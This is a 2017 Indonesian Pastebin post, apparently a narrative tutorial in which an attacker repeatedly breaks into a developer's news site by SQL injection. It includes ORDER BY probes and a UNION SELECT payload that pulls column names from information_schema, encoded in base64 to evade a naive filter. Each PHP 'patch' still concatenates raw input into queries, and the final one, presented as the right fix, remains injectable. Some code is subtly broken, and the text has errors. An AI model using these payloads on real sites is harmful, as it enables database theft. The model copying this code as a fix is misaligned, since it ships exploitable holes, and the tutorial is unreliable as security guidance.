Advertisement
Ribang

Ataacker vs depeloper 2 (part 2)

Nov 19th, 2017
213
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attacker vs Developer 2 (part 2)
  2.  
  3.  
  4. selang berapa waktu setelah peretasan pertama si attacker pun kemabali menyerang web si developer masih di celah yang sama
  5. ketika kembali meretas web tersebut si attacker pun mendapati bug yang kemarin di patch oleh si developer, sang attacker pun meneliti patch si developer. dan sang attacker mendapati bahwa patch tersebut hanya patch yang amat fatal karena bug yang kemarin masih bisa di retas lagi, setelah meneliti patch si developer attacker pun berkesimpulan bahwa patch tersebut bisa di bypass dengan teknik sql injection string based dimana sang attacker hanya perlu menambahkan ' dan  penambahan query coment -- -
  6.  
  7. // sql injection basic
  8. berita.php?id=1 order by 1-- true
  9. berita.php?id=1 order by 12-- true
  10. berita.php?id=1 order by 100-- true
  11.  
  12. //sql injection string based
  13. berita.php?id=1' order by 1-- - true
  14.  
  15. berita.php?id=1' order by 12-- - eror
  16.  
  17. kemudian sang Attacker pun kembali mendapatkan user dan password web si developer
  18. beberpa jam kemudian si developer pun mendapati webnya kembali di bobol oleh sang attacker dan si developer pun menganalisa kembali atch  yang ia masukan kemarin dan di dapati dari log website nya si developer pun berkesimpulan sebagai berikut
  19.  
  20. <?php
  21. @ini_set('display_errors',0);
  22. include('db.php');
  23. $id = $_GET['id'];
  24. $query = "SELECT * FROM artikel where id='$id'";
  25. $result = mysql_query($query);
  26. $artikel = mysql_fetch_array($result);
  27. echo $artikel['content'];
  28. ?>
  29.  
  30. ketika sang attacker menginjeksi web si developer dengan string ' -- - untuk menyelipkan query injeksi dan mematikan query di web setelah query coment yang di injeksikan oleh sang attacker -- -
  31.  
  32. maka query sang developer menjadi
  33. SELECT * FROM artikel where id='2' order by 1-- -';
  34.  
  35. setelah mengetahui cara kerja bypass tersebut sang developer pun membuat patch baru dengan sedikit modifikasi
  36. pada value id dengan mengganti dengan base64 sehngga menjadi
  37.  
  38. berita.php?id=MTI_
  39.  
  40. dan pada script
  41. <?php
  42. @ini_set('display_errors',0);
  43. include('db.php');
  44. $id = base64_decode(str_replace("=","_",$_GET['id']));
  45. $iddefault = $_SESSION['id_default'];
  46. if(isset($id)){
  47. $query = "SELECT * FROM artikel where id='$id'";
  48.  
  49. }else{
  50. $query = "SELECT * FROM artikel where id='$iddefault'";
  51. }
  52. $result = mysql_query($query);
  53. $artikel = mysql_fetch_array($result);
  54. $artikel = [];
  55.     $artikel['content'] = '';
  56.  
  57. echo $artikel['content'];
  58. ?>
  59.  
  60. esoknya hari sang attacker kembali menyambangi web si developer dan mendapati web si developer sedikit berbeda karena sudah di patch, sang attacker pun bersemangat karena mendapat sebuah perlawanan dari si deveoloper kemabali dia mengetes dengan menambahkan string '
  61.  
  62. berita.php?id=MTI_'
  63.  
  64. namun yang ia dapati adalah webnya tak ada error sama sekali malah kembali ke artikel sebelumnya, kemudian sang attacker pun mengetahui bahwa MTI_ mirip seperti base64 untuk menguatkan spekulasinya si attacker pun mencoba beberapa angka yang di encode ke base 64
  65. 1,175, dan 23 menjadi MQ==,MTc1,MjM=
  66.  
  67. dan sang attacker mencoba satu per satu
  68.  
  69. berita.php?id=MQ== | artikel tak berubah
  70. berita.php?id=MTc1 | artikel berubah
  71. berita.php?id=MjM= | artikel kembali ke awal
  72.  
  73. sang attacker pun berkesimpulan bahwa itu memangg base64 namun dia masih heran karena ketika di beri MQ== yang encode dari angka 1 kok tidak bisa, sang attacker pun kembali meneliti dan menyimpulkan hal yang mencurigakan yaitu tanda _
  74. dalam hati attacker pun bertanya-tanya
  75. "mungkinkah _ adalah = " :/
  76. dan sang attacker pun mencobanya kembali
  77. berita.php?id=MQ==
  78. menjadi
  79.  
  80. berita.php?id=MQ__
  81.  
  82. dan yang ia dapati adalah keberhasilan jadi sang attacker menyimpulkan bahwa developer mempatch dengan base64 dan mengganti = dengan _
  83. setelah mendapat kesimpulan tersebut sang attacker pun kembali menyisipkan query injeksi nya
  84.  
  85. 1' union slelect 1,2,3,group_concat(column_name),5,6,7,8,9,10 from information_schema.columns where table_name=0x75736572-- -
  86.  
  87. lalu sang attacker pun  mengencode query tersebut menjadi
  88.  
  89. MScgdW5pb24gc2xlbGVjdCAxLDIsMyxncm91cF9jb25jYXQoY29sdW1uX25hbWUpLDUsNiw3LDgsOSwxMCBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9MHg3NTczNjU3Mi0tIC0=
  90.  
  91. dan mengganti = dengan _
  92.  
  93. berita.php?id=MScgdW5pb24gc2xlbGVjdCAxLDIsMyxncm91cF9jb25jYXQoY29sdW1uX25hbWUpLDUsNiw3LDgsOSwxMCBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9MHg3NTczNjU3Mi0tIC0_
  94.  
  95. akhirnya sang developer kembali mendapati user dan password web si developer
  96.  
  97.  
  98. setelah mengetahui webnya masih bisa di bobol sang attacker si developer pun kembali berfikir keras bagaimana mempatch celah tersebut. selang beberapa menit si developer pun menemukan cara patch yang tepat
  99. yaitu dengan mengganti berita.php?id=MQ__ menjadi urlfriendly seperti berikut
  100.  
  101. http://www.situssideveloper.dev/berita/the-power-of-papa-setnov.html
  102.  
  103. <?php
  104. @ini_set('display_errors',0);
  105. include('db.php');
  106.  
  107. $alias = explode(".html",$_GET['alias'])[0];
  108.  
  109. $query = "SELECT * FROM artikel where alias='$alias'";
  110.  
  111. $result = mysql_query($query);
  112. $artikel = mysql_fetch_array($result);
  113. if(isset($artikel)){
  114.     echo $artikel['content'];
  115. }else{
  116.     header('HTTP/1.1 404 Not Found');
  117. }
  118. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement